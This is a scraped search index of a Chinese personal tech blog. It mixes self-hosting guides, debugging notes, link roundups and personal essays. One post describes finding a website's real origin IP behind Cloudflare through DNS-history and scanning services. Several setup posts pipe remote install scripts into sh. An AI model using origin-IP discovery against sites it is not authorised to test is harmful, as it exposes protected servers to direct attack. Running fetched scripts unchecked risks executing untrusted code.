https://www.youtube.com/feeds/videos.xml?channel_id=你关注的频道ID 15 ","date":"2023-02-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/%E6%88%91%E7%9A%84rss%E8%AE%A2%E9%98%85/","tags":["Misc"],"title":"我的RSS订阅"},{"categories":["每周分享"],"contents":"好文 #23 - PoS 是谎言么？\n非常推荐的一段播客，非常推荐，一听再听。 设计的背后是哲学\n币圈有哪些普通人能掌握的搬砖套利方法\n套利的通识教育\nHow I got wealthy without working too hard\n如何不努力就能得到财富，很好的一篇文章，当然不是说完全不努力，而是使用20%的努力获得80%的财富。\n充分享受边际效应\n如何不努力也能财富自由 -#2\n非常适合想着小富即安的划水专家。也难怪文章一开头就说“没有比程序员更容易财富自由的职业了”\nMining 向左，Staking 向右——公链的两大演进方向与价值分析\n在这样的区块链上，系统收取远高于中心化系统的使用费用并不会阻碍用户的涌入。因为 人们在链上的每一笔交易除了支付 IT 基础设施费之外，还缴纳了保障资产私有权的安全费用，这部分费用就是这类区块链提供的服务溢价\n好站 Docker Proxy\n多平台容器镜像代理服务,支持 Docker Hub, GitHub, Google, k8s, Quay等镜像仓库.\nOpenGD77\n开源的对讲机\n深入浅出现代Web编程\n一站式学习 React, Redux, Node.js, MongoDB, GraphQL 以及 TypeScript！这门课程会向你介绍基于 JavaScript 的现代 Web 开发技术。重点是利用 ReactJS 搭建单页面应用程序（SPA：Single Page Application），并使用Node.js构建REST API。\n好工具 HiddenBar MacOS 的顶部状态栏爆炸的问题一直让人头痛。后台运行的应用总是想在上面占个位置。导致你需要的App的图标反而被隐藏了。 推荐一个免费小工具。hiddenBar AppStore直接下载，可以用来折叠影响你不需要的图标，在使用的时候再进行展开。\nAppleSotre wokwi 一个IOT设备的模拟器，可以直接在浏览器中对各种简单IOT小项目进行模拟\nhttps://wokwi.com/ warp 新时代的终端，取代iTerm指日可待。 可以直接使用类似代码编辑器中一样编辑命令。 使用GPT-3 AI 将自然语言转换为可执行的 shell 命令，类似于终端的 GitHub Copilot 简单命令直接生产，寓教于用。很不错\nhttps://www.warp.dev/ MySQL for Vscode #开发工具 推荐一个VScode的插件，名字就叫做MySQL，但是实际上是一个VScode 版本的类似navicat 的插件。安装在远程开发的Codeserver 上对sqlite，Mysql 等进行简单的调试是非常方便的。高级版需要订阅，但是基础功能已经够用了。\nHuginn Huginn 是一个构建代理的系统，可以在线为您执行自动化任务。他们可以阅读网络、关注事件并代表您采取行动。Huginn 的代理创建和使用事件，沿着有向图传播它们。将其视为您自己服务器上的 IFTTT 或 Zapier 的可破解版本。您始终知道谁拥有您的数据。\nhttps://github.com/huginn/huginn ","date":"2023-01-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/02/202306/","tags":["Misc"],"title":"2023[06]"},{"categories":["op之路"],"contents":"前 今天遇到一个很有趣的问题，如何找到一个网站的真实IP，来获得可能存在的实际地区等信息。\n目前的站点为了安全多半都是接入了CF/或者其他云服务商的代理服务，用来进行源站的保护。域名直接解析出来的是CF的边缘节点的地址，或者其他CDN的CNAME。 看起来拿到真实IP不大可行。\n但是有一点，互联网上的变化是有迹可循的。这里的有迹可循指得是 DNS的历史记录以及可能配置成源站地址的旁站地址\n正文 其实这个技巧本身是没有什么难度的，主要就是使用工具来进行情报收集以及分析工作。下面是整理的相关的搜索工具。提供了旁站搜索或者是DNS历史记录检索功能。\ndnsdb 全球DNS搜索引擎\nviewdns.info 令站长十分蛋疼的DNS历史记录网站，记录了几年内的更改记录。\nsecuritytrails.com 庞大的DNS历史数据库，可以查出几年内网站用过的IP/机房信息数据量庞大。\nsearch.censys.io\n十分强大的安全搜索引擎，可以直接搜到IP/域名等等的相关数据得到所需信息\nShodan\n别称“屎蛋”，老牌的安全搜索工具。提供的数据非常的全面。包括各种外部扫描出现的CVE。\ncensys.io\n查询示例 https://www.shodan.io/domain/qq.com\nhttps://sitereport.netcraft.com/?url=http://qq.com\nhttps://viewdns.info/iphistory/?domain=qq.com\n参考 超简单查询 获取套CF（Cloudflare）的网站真实源IP 绕过网站CDN查找网站真实ip方法大全 ","date":"2023-01-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/01/%E7%BB%95%E8%BF%87cf%E8%8E%B7%E5%BE%97%E6%BA%90%E7%AB%99ip/","tags":["实用技术","ops"],"title":"绕过CF获得源站IP"},{"categories":["OP之路"],"contents":"​\t在某台新服务器上，发现Nginx启动/重启耗时非常长。相同的配置复制到其他服务器，几乎在瞬间就能完成启动/重启操作，说明新服务器的行为不正常。进一步测试，nginx -t测试命令耗时也很长。为了不影响Nginx正常使用，需要找到原因解决问题。\n使用strace命令跟踪进程的系统调用，从而排查可能出问题的位置。由于nginx -t的耗时也很长，就从这个单次命令看看能不能找出问题关键。\n执行命令strace -T nginx -t，其中-T参数打印耗时，在进程卡住的地方看到如下输出：\nconnect(7, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr(\u0026#34;x.x.x.x\u0026#34;)}, 16) = 0 \u0026lt;0.000037\u0026gt; poll([{fd=7, events=POLLOUT}], 1, 0) = 1 ([{fd=7, revents=POLLOUT}]) \u0026lt;0.000029\u0026gt; sendmmsg(7, [{msg_hdr={msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base=\u0026#34;\\223\\310\\1\\0\\0\\1\\0\\0\\0\\0\\0\\0\\4ocsp\\10digicert\\3com\\0\\0\u0026#34;..., iov_len=35}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, msg_len=35}, {msg_hdr={msg_name=NULL, msg_namelen=0, msg_iov= [{iov_base=\u0026#34;I\\320\\1\\0\\0\\1\\0\\0\\0\\0\\0\\0\\4ocsp\\10digicert\\3com\\0\\0\u0026#34;..., iov_len=35}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, msg_len=35}], 2, MSG_NOSIGNAL) = 2 \u0026lt;0.000090\u0026gt; poll([{fd=7, events=POLLIN}], 1, 5000) = 0 (Timeout) \u0026lt;5.005221\u0026gt; 根据行尾输出，poll系统调用耗时5.005221秒，大概率就是问题所在。那么上面的输出信息能看出什么呢？\n首先看connect这行中的sin_port=htons(53)，我们知道53是DNS查询端口，说明系统发起了DNS查询；再看第二行sendmmsg中的iov_base=\u0026quot;\\223\\310\\1\\0\\0\\1\\0\\0\\0\\0\\0\\0\\4ocsp\\10digicert\\3com，携带了证书的OCSP域名，猜测是向DNS服务器发起查询请求；最后的一行poll有Timeout提示，表明查询超时，并汇报等待了5.005221秒。\n总结上述信息：系统向x.x.x.x发起证书OCSP域名的DNS查询请求，但是DNS超时未响应，导致耗时很长。\n终端ping该DNS服务器的IP地址，无法ping通；打开/etc/resolv.conf，看到该IP地址写在第一行，顺手将其注释掉。\n接下来再运行nginx -t命令，瞬间完成；接着测试启动、重启Nginx，几乎也是瞬间完成，说明问题解决。\n","date":"2023-01-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/04/strace%E6%8E%92%E6%9F%A5nginx%E5%90%AF%E5%8A%A8%E7%BC%93%E6%85%A2/","tags":["Nginx","Strace"],"title":"使用strace排查Nginx启动缓慢问题"},{"categories":["op之路"],"contents":"如何使用Curl命令来测试接口HTTP是否启用了长连接的功能。偶得一命令记录之\ncurl \\ -w \u0026#34;\\nusing %{local_ip}:%{local_port} %{method} %{remote_ip}:%{remote_port}\\n\u0026#34; --request GET \\ --url http://httpbin.org/headers \\ --header \u0026#39;Content-Type: application/json\u0026#39; \\ --data \u0026#39;{\u0026#34;N\u0026#34;: 8}\u0026#39; \\ --next \\ -w \u0026#34;\\nusing %{local_ip}:%{local_port} %{method} %{remote_ip}:%{remote_port}\\n\u0026#34; --request GET \\ --url http://httpbin.org/headers \\ --header \u0026#39;Content-Type: application/json\u0026#39; \\ --data \u0026#39;{\u0026#34;N\u0026#34;: 8}\u0026#39; \\ --next \\ -w \u0026#34;\\nusing %{local_ip}:%{local_port} %{method} %{remote_ip}:%{remote_port}\\n\u0026#34; --request GET \\ --url http://httpbin.org/headers \\ --header \u0026#39;Content-Type: application/json\u0026#39; \\ --data \u0026#39;{\u0026#34;N\u0026#34;: 8}\u0026#39; { \u0026#34;headers\u0026#34;: { \u0026#34;Accept\u0026#34;: \u0026#34;*/*\u0026#34;, \u0026#34;Content-Length\u0026#34;: \u0026#34;8\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;Host\u0026#34;: \u0026#34;httpbin.org\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;curl/7.85.0\u0026#34;, \u0026#34;X-Amzn-Trace-Id\u0026#34;: \u0026#34;Root=1-63a52ca9-5d0cbad02e0d159c38af96e5\u0026#34; } } using 10.22.76.27:60506 GET 52.45.51.124:80 { \u0026#34;headers\u0026#34;: { \u0026#34;Accept\u0026#34;: \u0026#34;*/*\u0026#34;, \u0026#34;Content-Length\u0026#34;: \u0026#34;8\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;Host\u0026#34;: \u0026#34;httpbin.org\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;curl/7.85.0\u0026#34;, \u0026#34;X-Amzn-Trace-Id\u0026#34;: \u0026#34;Root=1-63a52ca9-69e5c3ee65d60eca0d169e91\u0026#34; } } using 10.22.76.27:60506 GET 52.45.51.124:80 { \u0026#34;headers\u0026#34;: { \u0026#34;Accept\u0026#34;: \u0026#34;*/*\u0026#34;, \u0026#34;Content-Length\u0026#34;: \u0026#34;8\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;Host\u0026#34;: \u0026#34;httpbin.org\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;curl/7.85.0\u0026#34;, \u0026#34;X-Amzn-Trace-Id\u0026#34;: \u0026#34;Root=1-63a52caa-31db64a8358426fa1d0fe28a\u0026#34; } } using 10.22.76.27:60506 GET 52.45.51.124:80 ","date":"2023-01-16T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/01/curl%E5%8F%91%E9%80%81%E5%9F%BA%E4%BA%8E%E9%95%BF%E8%BF%9E%E6%8E%A5%E8%AF%B7%E6%B1%82/","tags":["网络"],"title":"Curl发送基于长连接请求"},{"categories":["dev"],"contents":"前 code-server是一款基于VSCode的在线编辑器，它提供了一个web话的在线IDE。服务端上运行code-server，客户端就可以使用浏览器来使用VSCode，IDE上的资源都是服务器上的资源。\n这样可以把开发编译过程完美的放在远程的主机上面。本地的主机可以实现轻开发。使用平板都能进行编码工作。\n部署 部署过程十分简单，这里使用裸机安装的方式进行。官方直接给了onclick安装的脚本\ncurl -fsSL https://code-server.dev/install.sh | sh 之后使用 systemctl 来启动服务，这里的 @符号比较有意思，可以理解为给service传递启动参数。\nsystemctl restart code-server@rms.service 之后直接通过8080端口来进行访问，输入密码等。配置文件在/home/$USER/.config/code-server/config.yaml\n问题 无法预览图片问题 这个可以参考的是这个issue，具体原因是因为web worker 拒绝在http的条件下执行。所以导致功能异常。\nImage preview doesn\u0026rsquo;t work #4893 解法有二，\n部署内网自签的HTTPS证书 在Chrome中配置除外项 因为我们是内网使用的，所以这里直接配置Chrome 的例外，省时省力。\n需要在Chrome的高级配置chrome://flags中找到Insecure origins treated as secure项目，并且把Codeserver 的URL配置其中。之后重启浏览器即可恢复VSC-web的正常预览功能。\n","date":"2023-01-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/01/%E4%BD%BF%E7%94%A8codeserver%E8%BF%9C%E7%A8%8B%E5%BC%80%E5%8F%91/","tags":["远程开发"],"title":"使用Codeserver远程开发"},{"categories":["每周分享"],"contents":"生活 工作 工作上是一个变革的年份，离开了连连毕业的某大厂，加入了一个web3行业的公司，但是实际上业务只能叫做web2.5。实际上和on-chain的状态还出差上不少的。\n在 2022 年的第一天，不知为何醒的特别早，甚至第一次感受了上海的日出。回顾 2021 不出意外过的特别快，甚至部分月份浑浑噩噩，但也有很多改变人生轨迹的关键决策。\n这篇文章将帮助自己回顾 2021 年的目标，同时制定新一年的方向。\n目标回顾 首先来回顾年初设置的目标吧～\n工作・事业\n- 有血有肉的普通人 \u0026amp; 做自己喜欢的事\n✅ [1/1] 每周工作日五天中，至少有四天提前五分钟到公司 学习・成长\n- 业余兴趣驱动的学习和编码\n✅ [1/2] 个人开源项目建立：he-weather-bot ❌ [0/1] 开源社区 - 任何项目贡献超过 500 行代码 ✅ [10/10] 📚读书 人际・社群\n- 尝试线下聚会，寻找同路人\n⚠️ [1/3]线下技术沙龙 meetup 财务・理财\n- 工作无法创造财富，超过 10% 除工资以外收入\n❌ [0/3] 公司内推 / 文章投稿 ✅ [1/1] 资产积累: 购房 +1 家庭・生活\n- 家人的陪伴和更加用心一些\n❌ [1/3] 短途一日游：滴水湖团建 ❌ [1/3] 乒乓球比赛参与：公司比赛 +1 1）工作・事业 按时上班 互联网公司通常早上 10am 点上班，但由于没有打卡的约束，再加上各种原因，个人习惯 10 点 15 分之后到工位，甚至偶尔突破 30 分 0.0\n先分享一个小故事：\n近日感觉自己漫无目浏览手机的时间过长，所以期望买一个电子书阅读器在地铁上看书，以防止时间被偷走。 但万万没想到花了更多时间在手机上挑选阅读器：调研 Kindle，文石，小米等各个品牌的优劣特点。。\n经过这件事情我突然明白了一个道理：脱离手机沉迷的关键并不在于阅读器（工具），而是是否能找到一件更让自己愉悦的事情。\n出于上面的经历和思考，我发现每日永远无法准时到公司的根本原因，在于自己对工作的强烈抵触。所以年初给自己设立了一个“挑战”：每周工作日五天中，至少有四天提前五分钟到公司。期望通过这种表面的方式，改变自己对工作的态度，甚至“迫不及待”去上班（怎么感觉自己在 pua 自己，形成了闭环）。\n通过一年的努力，很高兴完成了这个目标，总结下来主要有两个途径：\n意愿：拒绝不感兴趣或者认为没有意义的事情，举个例子：有几个应用（无人使用）挂在我身上，所有隔几个月就会有安全漏洞修复的巡检告警（超期未修复持续上升老板..）。如果以前我会妥协改两行代码然后发布，但现在正确的做法是直接下线应用一劳永逸。通过坚持做个人认为对的事情，挖掘感兴趣的事件，持续提升自己对工作的兴趣。 技术：例如从交通路线上解决问题，过去我会花十分钟走到地铁站，然后做 40-50 分钟地铁（换乘一站）到公司，但后来探索出一条新的路线：直接打车 15 分钟去换乘站，然后直接坐地铁去公司，总共花费 40 分钟。通过技术上的升级（减少 30% 的通勤时间），提升出行幸福感，大大降低了对上班的抵触。 期望新的一年在工作之内之外都能挖掘新的乐趣。\n2）学习・成长 开源社区参与 上半年尝试用业余时间做了一个小项目：telegram 的天气预报机器人。虽然不是特别复杂的技术，但看到点亮全球地图的用户，还是非常容易获得成就感。技术人的成长就来自于各种造轮子，期望明年持续 hack 用技术为这个世界带来微小而美好的改变～😊 读书习惯培养 全部得益于地铁的碎片时间，勉强完成了 10 本书籍的阅读任务，但很遗憾更多大把的时间被浪费在刷短视频与购物上：\n《解密 Instagram》 《设计模式》- 可复用面向对象软件的基础 《浪潮之巅（第四版 全二册）》 《这就是 OKR》 《Salesforce 传奇》 《深入理解 JVM 虚拟机》读后感 《Effective Java》 《邓小平时代》 《为什么你总是半途而废》 《小家，越住越大》 分享一段影响特别深刻的阅读笔记：\n在产品发布前，Facebook 通常会在用户库里选取 1%~2% 的人进行测试，来观察用户的反应。接着它可能会对 5% 的用户发布新产品，或者挑几个国家进行发布，最终才会面向全世界进行发布。扎克伯格认为，收集关于用户如何使用产品的数据是很重要的。Facebook 通常会先发布尚未完成的产品，然后利用反馈实时进行调整。\nInstagram 团队打算反其道而行之——向所有 5 亿用户同时发布 Stories，至少先发布一个简单版的。他们发布一个简单版的。他们称之为“YOLO 发布”，YOLO 是“You only live once”（你只能活一次）的首字母缩写。\n作为一名 SRE，三板斧（可灰度、可监控、可应急）原则就像烙印一样刻在心中，但 Instagram 团队的“YOLO 发布”给了我巨大的震撼，很多时候我们总说技术风险是一切业务的基石，但反过来如果没有业务的发展，技术风险也毫无意义？\n3）人际・社群 由于性格的关系，这一项“又”完全失守了😭，考虑新的一年是否将这一目标移除（从源头解决问题）。\n新的一年还是期望从兴趣驱动，通过兴趣例如乒乓球等，与这个世界的人建立交集\n4）财务・理财 这一项格外纠结，首先关于“工作无法创造财富，超过 10% 除工资以外收入”的目标，大大的高估了自己，无论是公司内推、个人投稿等途径都毫无进展，还在互联网寒冬裁员浪潮之中，给自己徒增了一丝焦虑。\n但相比于工作以外收入的颗粒无收，受《富爸爸，穷爸爸》的影响，以及逆天的运气，上半年成功购入新房一枚。从认为买房的都是傻 X，变为 30 年的房奴 T^T\n年底搬家后，每天的生活轨迹也发生了天翻覆地的变化，最明显的一点是每天早上多出了一个小时的个人时间：从过去临近九点起床仓促赶路上班，到现在七点半起床，去门口的麦当劳安静的坐一个多小时，希望最近一周早睡早起的好习惯可以持续延续 🥰\n5）家庭・生活 由于工作的关系，好几次起床的时候老婆已经早早出门，深夜下班回家对方太困已入睡，一不小心真的变成了“室友”。Working is just a partial of your life. 还是期望多花一些时间陪伴家人，做更多有意义的事情。\n新的一年 目标制定 大体与去年保持一致，仅仅针对连续两年失败的目标，更加科学的调整了 KR 的衡量标准：\n工作・事业\n- 有血有肉的普通人 \u0026amp; 做自己喜欢的事\n[1/10] 找到 10 个人生有意义的瞬间 学习・成长\n- 业余兴趣驱动的学习和编码\n[0/1] 个人开源项目建立 +1 [0/500] 开源社区 - 任何项目贡献超过 500 行代码 [0/15] 📚读书 x15 人际・社群\n- 尝试线下聚会，寻找同路人\n[0/10] 乒乓球社交（认识新朋友） 财务・理财\n- 工作无法创造财富，超过 1w 除工资以外的被动收入\n[0/1] 公司内推 +1！ 家庭・生活\n- 家人的陪伴和更加用心一些\n[0/3] 短途旅行 x3 I decide who I am. I\u0026rsquo;m going to be what I was born to be\n2022 年的关键词是「人生的意义」，有人说人生的意义分为两部分：1）对自己来说，在于每一个选择都出于自己的自由意志；2）而另一部分意义在于是向外的，对他人和对这个世界，一些帮助和善意，留下一丝微小的痕迹。\n而我对于人生意义理解为“热爱”，但很多时刻对自己多了一些怀疑和动摇，比如热爱编程，是否仅仅是动手能力比他人强一点点而产生的虚荣感，或者根本不喜欢编程只是喜欢靠编程赚的钱？XD\n在 2022 年第一天的凌晨，写下这篇文章，或许不会有太多人看到。但仅仅是因为没有任何目的的「热爱」：喜欢来用文字记录的感觉，沉下心来，静静感受这个世界和时间的流逝（类似写代码中的 zone mode）。\n期望在新的一年能找到更多这样纯粹的瞬间 ✨\n","date":"2022-12-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/2022sum/","tags":["Misc"],"title":"2022年度总结"},{"categories":["玩点什么"],"contents":"前 在404之前保存他，是一个很有意义的做法，特别的\u0026mdash;-公众号。archivebox 可以完美的做到这一点。可以生成一个近乎相同的页面备份，来作为个人的永久保存。\n🗃 Open source self-hosted web archiving. Takes URLs/browser history/bookmarks/Pocket/Pinboard/etc., saves HTML, JS, PDFs, media, and more\u0026hellip;\n正文 安装过程十分简单顺畅。二进制文件安装，项目提供了一件安装的脚本\ncurl -sSL \u0026#39;https://get.archivebox.io\u0026#39; | sh 使用Docker-compose来安装\ncurl -O \u0026#39;https://raw.githubusercontent.com/ArchiveBox/ArchiveBox/master/docker-compose.yml\u0026#39; docker-compose run archivebox init --setup docker-compose up ","date":"2022-12-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/12/archivebox%E6%9D%A5%E4%BF%9D%E5%AD%98%E9%82%A3%E4%BA%9B%E8%A2%AB404%E7%9A%84%E8%BF%87%E5%8E%BB/","tags":["Homelab"],"title":"Homelab部署ArchiveBox来保存那些被404的过去"},{"categories":["什么值得玩"],"contents":"前 临时性的文件中转是生活中的刚需。到店打印/临时传输等等都会用到。奈何市面上的简单好用的不多。奶牛快传之类的也商业化严重了。\n所以打算自己部署一套，这个项目叫Send 是mozilla基金会的项目，给firefox免费用。但是由于被滥用最后停止服务了。但是工具是个好工具，于是社区Fork了过来由开发者们来进行维护。\n向开源精神致敬。\n正文 Docker-compose文件进行简单的修改，保留服务和redis。下面是env文件和Docker-compose\nversion: \u0026#34;3\u0026#34; services: send: image: registry.gitlab.com/timvisee/send:latest restart: always ports: - \u0026#39;1234:1234\u0026#39; volumes: - send-upload:/uploads environment: - VIRTUAL_HOST=file.r4y.site - VIRTUAL_PORT=1234 - DHPARAM_GENERATION=false - LETSENCRYPT_HOST= - LETSENCRYPT_EMAIL=mail@example.org - NODE_ENV=development - BASE_URL=${SEND_BASE_URL} - PORT=1234 - REDIS_HOST=redis - SEND_FOOTER_DMCA_URL=https://blog.12ms.xyz # For local uploads storage - FILE_DIR=/uploads # For S3 object storage (disable volume and FILE_DIR variable) # - AWS_ACCESS_KEY_ID=******** # - AWS_SECRET_ACCESS_KEY=******** # - S3_BUCKET=send # - S3_ENDPOINT=s3.us-west-2.amazonaws.com # - S3_USE_PATH_STYLE_ENDPOINT=true # To customize upload limits # - EXPIRE_TIMES_SECONDS=3600,86400,604800,2592000,31536000 # - DEFAULT_EXPIRE_SECONDS=3600 # - MAX_EXPIRE_SECONDS=31536000 # - DOWNLOAD_COUNTS=1,2,5,10,15,25,50,100,1000 # - MAX_DOWNLOADS=1000 - MAX_FILE_SIZE=52428800 redis: image: \u0026#39;redis:alpine\u0026#39; restart: always volumes: - send-redis:/data volumes: send-redis: send-upload: 更多配置项目参考\nDocker Quickstart\nSend-config.js\nsend-docker-compose\n","date":"2022-12-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/03/%E8%87%AA%E5%BB%BAsend%E4%B8%B4%E6%97%B6%E6%96%87%E4%BB%B6%E4%BC%A0%E8%BE%93%E6%9C%8D%E5%8A%A1/","tags":["Self-hosting"],"title":"Send临时文件传输服务"},{"categories":["OP之路"],"contents":"前 拨号之后就因为获得了拨号后的IP，无法自己访问桥接的光猫段了。为了更方便的进行访问，不用进行每次都断开网络。就找了找相关的方法。在这里记录一下。环境是Openwrt\n正文 简单的描述步骤：\n新建接口，配置模式为静态IP 配置IP为光猫段，配置网关为光猫IP （重点）网关跃点需要配置一个较高的值。否则会导致流量走到该接口导致断网 物理接口设置为WAN口一样 防火墙区域设置为wan ","date":"2022-12-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/12/%E6%8B%A8%E5%8F%B7%E5%90%8E%E5%A6%82%E4%BD%95%E8%AE%BF%E9%97%AE%E5%85%89%E7%8C%AB/","tags":["网络","Homelab"],"title":"拨号后如何访问光猫"},{"categories":["玩点什么"],"contents":"前 听到边缘计算，serverless 感觉是不是离自己很遥远。但实际上这个已经是很成熟的技术了，在多个云厂商都提供了相关的方案。今天来简单的玩一下 CloudFlare 的workers，实现edge+serverless。\n中 这里使用了cf 的workers来实现一个简单的图片代理。示例代码如下，\n内容很简单，对参数中的URL进行一次fetch操作，并且返回实际代理到的图片内容。这样就可以用来对一些图片进行加速，或者去访问一些访问有问题的内容。\nexport default { async fetch(request) { const url = new URL(request.url) const r = url.searchParams.get(\u0026#39;url\u0026#39;) if(r === null) { return new Response(\u0026#34;Usage: https://host/?url=...\u0026#34;, { status: 404 }) } console.log(\u0026#39;img url: \u0026#39;, r) return fetch(r).catch( (err) =\u0026gt; new Response(err.stack, { status: 500 }) ) }, } POC: Google by proxy\n后 Cloudflare 在Worker里面还推出了 D1，简单来说是Sqlite数据库。这是一个很大的进步，边缘也可实现简单的有状态的逻辑。想像空间就很大了。\n","date":"2022-12-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/12/%E4%BD%BF%E7%94%A8cloudflare%E7%9A%84wokers%E5%AE%9E%E7%8E%B0%E5%9B%BE%E7%89%87%E4%BB%A3%E7%90%86/","tags":["Serverless","Cloudflare"],"title":"使用Cloudflare的Wokers实现图片代理"},{"categories":["玩点什么"],"contents":"前 又是一篇折腾Homelab的文章。运行一个属于自己的ETH节点是一个很酷的事情。但是随着ETH网络的增长。状态这个特性带来的问题也逐渐显现出来。目前的ETH如果需要运行一个全节点的话需要700GB的SSD。对于一般的玩家来说，这个在HomeLab的环境中算是一个不小的开销了。\n所以这里来运行一个轻客户端来试着体验Geth的功能，因为他的硬盘开销只有区区的400M。为什么呢？因为他只存储了区块头信息。并没有保存区块内容。每次请求都需要去远程的 lightserver 上来获取信息。所以这里称之为一个客户端。\n部署过程 部署过程是根据官方的Doc进行的。安装Geth，之后进行区块同步，没有什么特别的难点这里记录一下。\n下面的几条命令在ubuntu下即可完成Geth的安装。\nsudo add-apt-repository -y ppa:ethereum/ethereum sudo apt-get update sudo apt-get install ethereum sudo apt-get upgrade geth 下一步是生成配置文件。geth本身有缺省的参数，但是还是配置文件来的直观。使用下面的命令来对当前的配置进行导入\ngeth --syncmode light --http --http.addr 0.0.0.0 dumpconfig \u0026gt; ./config.toml 之后在系统中注册服务，用于进程的守护和日志管理。\ncat \u0026lt;\u0026lt; EOF \u0026gt; /etc/systemd/system/geth.service [Unit] Description=Ethereum go client [Service] Type=simple ExecStart=/usr/bin/geth --config /home/user/.ethereum/config.toml [Install] WantedBy=default.target EOF sudo systemctl restart geth 之后把服务跑起来，过会就能见到同步的过程了。\nINFO [12-21|10:07:37.709] Imported new block headers count=192 elapsed=527.893ms number=14,873,535 hash=9d539e..33aec7 age=6mo3w3d 另外分享一些eth节点列表的查询站点。可以选取部分配置为static节点。\nhttps://ethernodes.org/nodes https://www.nodewatch.io/ https://etherscan.io/nodetracker Reference https://geth.ethereum.org/docs/interface/peer-to-peer https://geth.ethereum.org/docs/interface/command-line-options https://geth.ethereum.org/docs/interface/les ","date":"2022-12-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/12/%E8%BF%90%E8%A1%8Ceth%E8%BD%BB%E5%AE%A2%E6%88%B7%E7%AB%AF/","tags":["tag1"],"title":"运行ETH轻客户端"},{"categories":["每周分享","杂文集"],"contents":"前 最近看到一个有趣的概念：达芬奇综合症。有人把涉猎广泛而没能有始有终的状态称为\u0026quot;达芬奇综合症\u0026quot;。\n这让我想起达芬奇这个例子：这样的天才，一天只睡四五个小时的情况下，还是因为兴趣太多而导致许多事没能最终完成。何况我们这些普通人？\n关于\u0026quot;一事无成\u0026quot;的重新定义 \u0026ldquo;一事无成\u0026quot;如果出自别人之口，往往是个毫无意义的评价。\n而对于一个始终在追求、不断探索的人来说：\n不存在\u0026quot;无成\u0026rdquo;，只有\u0026quot;还没达到\u0026quot; 每次探索都是认知的积累 每次尝试都是经验的增长 未完成不等于失败 我更愿意鼓励自己以及我的孩子多去探索，而不是局限于完成的执念。\nMinecraft 的启示 恰好在玩游戏 Minecraft 时，职员表滚动完之后看到这段引言：\nTwenty years from now you will be more disappointed by the things that you didn\u0026rsquo;t do than by the ones you did do. So throw off the bowlines. Sail away from the safe harbor. Catch the trade winds in your sails. Explore. Dream. Discover.\n—— Minecraft End Poem\n翻译过来大意是：\n二十年后，你会为那些没做的事感到失望，而不是为做过的事后悔。所以解开缆绳，驶离安全的港湾，扬起风帆，去探索、去梦想、去发现。\n探索的稀缺性 多年后我们不会为做过的事有太多悔恨，只会后悔有些事当初没去做。\n探索、筑梦、发现，星辰大海，扬帆远航……我依然在谈这些，并不是说这才是唯一的正确，而是因为这样做的人太少了。\n试着给\u0026quot;达芬奇综合症\u0026quot;换个人来命名，你能想到几个？\n能够在多个领域自由探索、敢于不断尝试的人，本身就是稀缺的。\n后 这完全不妨碍每天不变地给工具做保养，虽然可能枯燥。\n探索与坚持并不矛盾。在广泛涉猎的同时，也需要在某些基础性的事情上保持日复一日的耐心。\n关键是：不要让\u0026quot;完成\u0026quot;的焦虑阻止了\u0026quot;探索\u0026quot;的脚步。\n延伸阅读：\nLeonardo Syndrome - 原文 Minecraft End Poem ","date":"2022-12-16T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/12/%E8%BE%BE%E8%8A%AC%E5%A5%87%E7%BB%BC%E5%90%88%E7%97%87/","tags":["随笔","人生思考","探索"],"title":"达芬奇综合症：关于探索与完成的思考"},{"categories":["玩点什么"],"contents":"前 使用RSS来过滤自己的信息源，再信息爆炸的时代可能是很好的一个习惯。这里记录下tinytinyRss 的服务部署，简称 ttrss。是一个开源的RSS的订阅端服务，来把rss来进行汇集，提供web和 移动端使用。\n这里记录一下一个玩具级别的一键部署的 docker-compose 的文件，以便后面直接恢复和复用。\n代码 docker-compose.yaml version: \u0026#39;3\u0026#39; services: db: image: postgres:12-alpine restart: unless-stopped environment: - POSTGRES_USER=${TTRSS_DB_USER} - POSTGRES_PASSWORD=${TTRSS_DB_PASS} - POSTGRES_DB=${TTRSS_DB_NAME} volumes: - db:/var/lib/postgresql/data app: image: cthulhoo/ttrss-fpm-pgsql-static restart: unless-stopped env_file: - stack.env volumes: - app:/var/www/html - config:/opt/tt-rss/config.d:ro - themes:/var/www/html/tt-rss/themes.local/ - plugins:/var/www/html/tt-rss/plugins.local/ depends_on: - db backups: image: cthulhoo/ttrss-fpm-pgsql-static restart: unless-stopped env_file: - stack.env volumes: - backups:/backups - app:/var/www/html - etc:/var/www/html/tt-rss/ depends_on: - db command: /opt/tt-rss/dcron.sh -f updater: image: cthulhoo/ttrss-fpm-pgsql-static restart: unless-stopped env_file: - stack.env volumes: - app:/var/www/html - config:/opt/tt-rss/config.d:ro - themes:/var/www/html/tt-rss/themes.local/ - plugins:/var/www/html/tt-rss/plugins.local/ depends_on: - app command: /opt/tt-rss/updater.sh web-nginx: image: cthulhoo/ttrss-web-nginx restart: unless-stopped ports: - ${HTTP_PORT}:80 volumes: - app:/var/www/html:ro - themes:/var/www/html/tt-rss/themes.local/ - plugins:/var/www/html/tt-rss/plugins.local/ depends_on: - app mercury-parser-api: image: wangqiru/mercury-parser-api restart: unless-stopped depends_on: - app volumes: db: app: certs: 